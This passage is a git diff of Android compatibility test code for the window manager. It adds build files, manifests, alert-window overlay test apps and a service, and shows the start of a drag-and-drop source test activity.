+        Rect getContentInsets() {
+            return mContentInsets;
+        }
+
+        Rect getGivenContentInsets() {
+            return mGivenContentInsets;
+        }
+
+        public Rect getContentFrame() {
+            return mContentFrame;
+        }
+
+        Rect getParentFrame() {
+            return mParentFrame;
+        }
+
+        Rect getCrop() {
+            return mCrop;
+        }
+
+        boolean isShown() {
+            return mShown;
+        }
+
+        public int getType() {
+            return mType;
+        }
+
+        private String getWindowTypeSuffix(int windowType) {
+            switch (windowType) {
+                case WINDOW_TYPE_STARTING:
+                    return " STARTING";
+                case WINDOW_TYPE_EXITING:
+                    return " EXITING";
+                case WINDOW_TYPE_DEBUGGER:
+                    return " DEBUGGER";
+                default:
+                    break;
+            }
+            return "";
+        }
+
+        @Override
+        public String toString() {
+            return "WindowState: {" + mAppToken + " " + mName
+                    + getWindowTypeSuffix(mWindowType) + "}" + " type=" + mType
+                    + " cf=" + mContainingFrame + " pf=" + mParentFrame;
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/Android.mk b/tests/framework/base/windowmanager/Android.mk
new file mode 100644
index 0000000..2111f19
--- /dev/null
+++ b/tests/framework/base/windowmanager/Android.mk
@@ -0,0 +1,42 @@
+#
+# Copyright (C) 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests optional
+
+LOCAL_SRC_FILES := \
+    $(call all-java-files-under, src) \
+    $(call all-java-files-under, alertwindowservice/src)
+
+LOCAL_PACKAGE_NAME := CtsWindowManagerDeviceTestCases
+
+LOCAL_JAVA_LIBRARIES := android.test.runner
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+    android-support-test \
+    platform-test-annotations \
+    cts-amwm-util
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_SDK_VERSION := test_current
+
+include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
new file mode 100644
index 0000000..4bcd576
--- /dev/null
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.server.cts.wm">
+
+    <uses-permission android:name="android.permission.MANAGE_ACTIVITY_STACKS" />
+    <uses-permission android:name="android.permission.ACTIVITY_EMBEDDING" />
+    <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
+
+    <application android:label="CtsWindowManagerDeviceTestCases">
+        <uses-library android:name="android.test.runner"/>
+
+        <service
+            android:name="android.server.wm.TestLogService"
+            android:enabled="true"
+            android:exported="true">
+        </service>
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.server.cts.wm"
+                     android:label="CTS tests of WindowManager">
+    </instrumentation>
+
+</manifest>
diff --git a/tests/framework/base/windowmanager/AndroidTest.xml b/tests/framework/base/windowmanager/AndroidTest.xml
new file mode 100644
index 0000000..852c4df
--- /dev/null
+++ b/tests/framework/base/windowmanager/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS WindowManager test cases">
+    <option name="config-descriptor:metadata" key="component" value="framework"/>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck"/>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true"/>
+        <option name="test-file-name" value="CtsWindowManagerDeviceTestCases.apk"/>
+        <option name="test-file-name" value="CtsDragAndDropSourceApp.apk"/>
+        <option name="test-file-name" value="CtsDragAndDropTargetApp.apk"/>
+        <option name="test-file-name" value="CtsDragAndDropTargetAppSdk23.apk"/>
+        <option name="test-file-name" value="CtsDeviceWindowFramesTestApp.apk"/>
+        <option name="test-file-name" value="CtsDeviceAlertWindowTestApp.apk"/>
+        <option name="test-file-name" value="CtsDeviceAlertWindowTestAppSdk25.apk"/>
+        <option name="test-file-name" value="CtsAlertWindowService.apk"/>
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.server.cts.wm"/>
+        <option name="runtime-hint" value="8m"/>
+    </test>
+
+</configuration>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk b/tests/framework/base/windowmanager/alertwindowapp/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk
rename to tests/framework/base/windowmanager/alertwindowapp/Android.mk
diff --git a/tests/framework/base/windowmanager/alertwindowapp/AndroidManifest.xml b/tests/framework/base/windowmanager/alertwindowapp/AndroidManifest.xml
new file mode 100755
index 0000000..446e2fa
--- /dev/null
+++ b/tests/framework/base/windowmanager/alertwindowapp/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+          package="android.server.wm.alertwindowapp">
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <application android:label="CtsAlertWindow">
+        <activity android:name=".AlertWindowTestActivity"
+                  android:exported="true" android:windowSoftInputMode="stateAlwaysVisible">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
+
diff --git a/tests/framework/base/windowmanager/alertwindowapp/src/android/server/wm/alertwindowapp/AlertWindowTestActivity.java b/tests/framework/base/windowmanager/alertwindowapp/src/android/server/wm/alertwindowapp/AlertWindowTestActivity.java
new file mode 100644
index 0000000..2185dd6
--- /dev/null
+++ b/tests/framework/base/windowmanager/alertwindowapp/src/android/server/wm/alertwindowapp/AlertWindowTestActivity.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.alertwindowapp;
+
+import android.os.Bundle;
+import android.server.wm.alertwindowappsdk25.AlertWindowTestBaseActivity;
+
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_PHONE;
+import static android.view.WindowManager.LayoutParams.TYPE_PRIORITY_PHONE;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY;
+
+public class AlertWindowTestActivity extends AlertWindowTestBaseActivity {
+    private static final int[] ALERT_WINDOW_TYPES = {
+            TYPE_PHONE,
+            TYPE_PRIORITY_PHONE,
+            TYPE_SYSTEM_ALERT,
+            TYPE_SYSTEM_ERROR,
+            TYPE_SYSTEM_OVERLAY,
+            TYPE_APPLICATION_OVERLAY
+    };
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        createAllAlertWindows(getPackageName());
+    }
+
+    @Override
+    protected int[] getAlertWindowTypes() {
+        return ALERT_WINDOW_TYPES;
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk b/tests/framework/base/windowmanager/alertwindowappsdk25/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk
rename to tests/framework/base/windowmanager/alertwindowappsdk25/Android.mk
diff --git a/tests/framework/base/windowmanager/alertwindowappsdk25/AndroidManifest.xml b/tests/framework/base/windowmanager/alertwindowappsdk25/AndroidManifest.xml
new file mode 100755
index 0000000..0ac1c91
--- /dev/null
+++ b/tests/framework/base/windowmanager/alertwindowappsdk25/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.server.wm.alertwindowappsdk25">
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <application android:label="CtsAlertWindowSdk25">
+        <activity android:name=".AlertWindowTestActivitySdk25"
+                  android:exported="true" android:windowSoftInputMode="stateAlwaysVisible">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
+
diff --git a/tests/framework/base/windowmanager/alertwindowappsdk25/src/android/server/wm/alertwindowappsdk25/AlertWindowTestActivitySdk25.java b/tests/framework/base/windowmanager/alertwindowappsdk25/src/android/server/wm/alertwindowappsdk25/AlertWindowTestActivitySdk25.java
new file mode 100644
index 0000000..47057f1
--- /dev/null
+++ b/tests/framework/base/windowmanager/alertwindowappsdk25/src/android/server/wm/alertwindowappsdk25/AlertWindowTestActivitySdk25.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.alertwindowappsdk25;
+
+import android.os.Bundle;
+
+import static android.view.WindowManager.LayoutParams.TYPE_PHONE;
+import static android.view.WindowManager.LayoutParams.TYPE_PRIORITY_PHONE;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY;
+
+public class AlertWindowTestActivitySdk25 extends AlertWindowTestBaseActivity {
+    private static final int[] ALERT_WINDOW_TYPES = {
+            TYPE_PHONE,
+            TYPE_PRIORITY_PHONE,
+            TYPE_SYSTEM_ALERT,
+            TYPE_SYSTEM_ERROR,
+            TYPE_SYSTEM_OVERLAY
+    };
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        createAllAlertWindows(getPackageName());
+    }
+
+    @Override
+    protected int[] getAlertWindowTypes() {
+        return ALERT_WINDOW_TYPES;
+    }
+}
diff --git a/tests/framework/base/windowmanager/alertwindowappsdk25/src/android/server/wm/alertwindowappsdk25/AlertWindowTestBaseActivity.java b/tests/framework/base/windowmanager/alertwindowappsdk25/src/android/server/wm/alertwindowappsdk25/AlertWindowTestBaseActivity.java
new file mode 100644
index 0000000..021b886
--- /dev/null
+++ b/tests/framework/base/windowmanager/alertwindowappsdk25/src/android/server/wm/alertwindowappsdk25/AlertWindowTestBaseActivity.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.alertwindowappsdk25;
+
+import android.app.Activity;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.util.Log;
+import android.view.WindowManager;
+import android.widget.TextView;
+
+import static android.view.Gravity.LEFT;
+import static android.view.Gravity.TOP;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
+
+public abstract class AlertWindowTestBaseActivity extends Activity {
+
+    protected void createAllAlertWindows(String windowName) {
+        final int[] alertWindowTypes = getAlertWindowTypes();
+        for (int type : alertWindowTypes) {
+            try {
+                createAlertWindow(type, windowName);
+            } catch (Exception e) {
+                Log.e("AlertWindowTestBaseActivity", "Can't create type=" + type, e);
+            }
+        }
+    }
+
+    protected void createAlertWindow(int type) {
+        createAlertWindow(type, getPackageName());
+    }
+
+    protected void createAlertWindow(int type, String windowName) {
+        if (!isSystemAlertWindowType(type)) {
+            throw new IllegalArgumentException("Well...you are not an alert window type=" + type);
+        }
+
+        final Point size = new Point();
+        final WindowManager wm = getSystemService(WindowManager.class);
+        wm.getDefaultDisplay().getSize(size);
+
+        WindowManager.LayoutParams params = new WindowManager.LayoutParams(
+                type, FLAG_NOT_FOCUSABLE | FLAG_WATCH_OUTSIDE_TOUCH | FLAG_NOT_TOUCHABLE);
+        params.width = size.x / 3;
+        params.height = size.y / 3;
+        params.gravity = TOP | LEFT;
+        params.setTitle(windowName);
+
+        final TextView view = new TextView(this);
+        view.setText(windowName + "   type=" + type);
+        view.setBackgroundColor(Color.RED);
+        wm.addView(view, params);
+    }
+
+    private boolean isSystemAlertWindowType(int type) {
+        final int[] alertWindowTypes = getAlertWindowTypes();
+        for (int current : alertWindowTypes) {
+            if (current == type) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    protected abstract int[] getAlertWindowTypes();
+}
diff --git a/tests/framework/base/windowmanager/alertwindowservice/Android.mk b/tests/framework/base/windowmanager/alertwindowservice/Android.mk
new file mode 100644
index 0000000..c012a65
--- /dev/null
+++ b/tests/framework/base/windowmanager/alertwindowservice/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+
+LOCAL_SRC_FILES := \
+    $(call all-java-files-under, src) \
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_PACKAGE_NAME := CtsAlertWindowService
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/framework/base/windowmanager/alertwindowservice/AndroidManifest.xml b/tests/framework/base/windowmanager/alertwindowservice/AndroidManifest.xml
new file mode 100644
index 0000000..21b6f7c
--- /dev/null
+++ b/tests/framework/base/windowmanager/alertwindowservice/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+       package="android.server.wm.alertwindowservice">
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <application>
+        <service android:name=".AlertWindowService"
+                 android:exported="true"/>
+    </application>
+</manifest>
diff --git a/tests/framework/base/windowmanager/alertwindowservice/src/android/server/wm/alertwindowservice/AlertWindowService.java b/tests/framework/base/windowmanager/alertwindowservice/src/android/server/wm/alertwindowservice/AlertWindowService.java
new file mode 100644
index 0000000..d531bbd
--- /dev/null
+++ b/tests/framework/base/windowmanager/alertwindowservice/src/android/server/wm/alertwindowservice/AlertWindowService.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.alertwindowservice;
+
+import static android.graphics.Color.BLUE;
+import static android.view.Gravity.LEFT;
+import static android.view.Gravity.TOP;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
+import android.app.Service;
+import android.content.Intent;
+import android.graphics.Point;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Message;
+import android.os.Messenger;
+import android.os.RemoteException;
+import android.util.Log;
+import android.view.View;
+import android.view.WindowManager;
+import android.widget.TextView;
+
+import java.util.LinkedList;
+
+/** Service for creating and managing alert windows. */
+public final class AlertWindowService extends Service {
+
+    private static final String TAG = "AlertWindowService";
+    private static final boolean DEBUG = false;
+
+    public static final String PACKAGE_NAME = "android.server.wm.alertwindowservice";
+    public static final String EXTRA_MESSENGER = "messenger";
+
+    public static final int MSG_ADD_ALERT_WINDOW = 1;
+    public static final int MSG_REMOVE_ALERT_WINDOW = 2;
+    public static final int MSG_REMOVE_ALL_ALERT_WINDOWS = 3;
+
+    public static final int MSG_ON_ALERT_WINDOW_ADDED = 4;
+    public static final int MSG_ON_ALERT_WINDOW_REMOVED = 5;
+
+    private LinkedList<View> mAlertWindows = new LinkedList<>();
+
+    private Messenger mOutgoingMessenger = null;
+    private final Messenger mIncomingMessenger = new Messenger(new IncomingHandler());
+
+    private class IncomingHandler extends Handler {
+        @Override
+        public void handleMessage(Message msg) {
+            switch (msg.what) {
+                case MSG_ADD_ALERT_WINDOW:
+                    addAlertWindow();
+                    break;
+                case MSG_REMOVE_ALERT_WINDOW:
+                    removeAlertWindow();
+                    break;
+                case MSG_REMOVE_ALL_ALERT_WINDOWS:
+                    removeAllAlertWindows();
+                    break;
+                default:
+                    super.handleMessage(msg);
+            }
+        }
+    }
+
+    private void addAlertWindow() {
+        final Point size = new Point();
+        final WindowManager wm = getSystemService(WindowManager.class);
+        wm.getDefaultDisplay().getSize(size);
+
+        final WindowManager.LayoutParams params = new WindowManager.LayoutParams(
+                TYPE_APPLICATION_OVERLAY,
+                FLAG_NOT_FOCUSABLE | FLAG_WATCH_OUTSIDE_TOUCH | FLAG_NOT_TOUCHABLE);
+        params.width = size.x / 3;
+        params.height = size.y / 3;
+        params.gravity = TOP | LEFT;
+
+        final TextView view = new TextView(this);
+        view.setText("AlertWindowService" + mAlertWindows.size());
+        view.setBackgroundColor(BLUE);
+        wm.addView(view, params);
+        mAlertWindows.add(view);
+
+        if (DEBUG) Log.e(TAG, "addAlertWindow " + mAlertWindows.size());
+        if (mOutgoingMessenger != null) {
+            try {
+                mOutgoingMessenger.send(Message.obtain(null, MSG_ON_ALERT_WINDOW_ADDED));
+            } catch (RemoteException e) {
+
+            }
+        }
+    }
+
+    private void removeAlertWindow() {
+        if (mAlertWindows.size() == 0) {
+            return;
+        }
+        final WindowManager wm = getSystemService(WindowManager.class);
+        wm.removeView(mAlertWindows.pop());
+
+        if (DEBUG) Log.e(TAG, "removeAlertWindow " + mAlertWindows.size());
+        if (mOutgoingMessenger != null) {
+            try {
+                mOutgoingMessenger.send(Message.obtain(null, MSG_ON_ALERT_WINDOW_REMOVED));
+            } catch (RemoteException e) {
+
+            }
+        }
+    }
+
+    private void removeAllAlertWindows() {
+        while (mAlertWindows.size() > 0) {
+            removeAlertWindow();
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        if (DEBUG) Log.e(TAG, "onBind");
+        mOutgoingMessenger = intent.getParcelableExtra(EXTRA_MESSENGER);
+        return mIncomingMessenger.getBinder();
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        if (DEBUG) Log.e(TAG, "onUnbind");
+        removeAllAlertWindows();
+        return super.onUnbind(intent);
+    }
+}
diff --git a/tests/framework/base/windowmanager/dndsourceapp/Android.mk b/tests/framework/base/windowmanager/dndsourceapp/Android.mk
new file mode 100644
index 0000000..7cfd03f
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndsourceapp/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+    ../src/android/server/wm/TestLogClient.java
+
+LOCAL_SDK_VERSION := current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsDragAndDropSourceApp
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml b/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
new file mode 100644
index 0000000..4c8f0bb
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.server.wm.dndsourceapp">
+    <application android:label="CtsDnDSource">
+        <activity android:name="android.server.wm.dndsourceapp.DragSource">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+
+        <provider android:name="android.server.wm.dndsourceapp.DragSourceContentProvider"
+                  android:authorities="android.server.wm.dndsource.contentprovider"
+                  android:grantUriPermissions="true"/>
+    </application>
+</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/res/layout/source_activity.xml b/tests/framework/base/windowmanager/dndsourceapp/res/layout/source_activity.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/res/layout/source_activity.xml
rename to tests/framework/base/windowmanager/dndsourceapp/res/layout/source_activity.xml
diff --git a/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSource.java b/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSource.java
new file mode 100644
index 0000000..9c7ed7b
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSource.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.dndsourceapp;
+
+import android.app.Activity;
+import android.content.ClipData;
+import android.content.ClipDescription;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.FileUriExposedException;
+import android.os.PersistableBundle;
+import android.server.wm.TestLogClient;
+import android.view.MotionEvent;
+import android.view.View;
+import android.widget.TextView;
+
+import java.io.File;
+
+public class DragSource extends Activity{
+    private static final String RESULT_KEY_START_DRAG = "START_DRAG";
+    private static final String RESULT_KEY_DETAILS = "DETAILS";
+    private static final String RESULT_OK = "OK";
+    private static final String RESULT_EXCEPTION = "Exception";
+
+    private static final String URI_PREFIX =
+            "content://" + DragSourceContentProvider.AUTHORITY + "/data";
+
+    private static final String MAGIC_VALUE = "42";
+    private static final long TIMEOUT_CANCEL = 150;
+
+    private TextView mTextView;
+    private TestLogClient mLogClient;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        mLogClient = new TestLogClient(this, getIntent().getStringExtra("logtag"));
+
+        View view = getLayoutInflater().inflate(R.layout.source_activity, null);
+        setContentView(view);
+
+        final Uri plainUri = Uri.parse(URI_PREFIX + "/" + MAGIC_VALUE);
+
+        setUpDragSource("disallow_global", plainUri, 0);
+        setUpDragSource("cancel_soon", plainUri, View.DRAG_FLAG_GLOBAL);
+
+        setUpDragSource("grant_none", plainUri, View.DRAG_FLAG_GLOBAL);
+        setUpDragSource("grant_read", plainUri,
+                View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ);
+        setUpDragSource("grant_write", plainUri,
+                View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_WRITE);
+        setUpDragSource("grant_read_persistable", plainUri,
+                View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ |
+                        View.DRAG_FLAG_GLOBAL_PERSISTABLE_URI_PERMISSION);
+
+        final Uri prefixUri = Uri.parse(URI_PREFIX);
+
+        setUpDragSource("grant_read_prefix", prefixUri,
+                View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ |
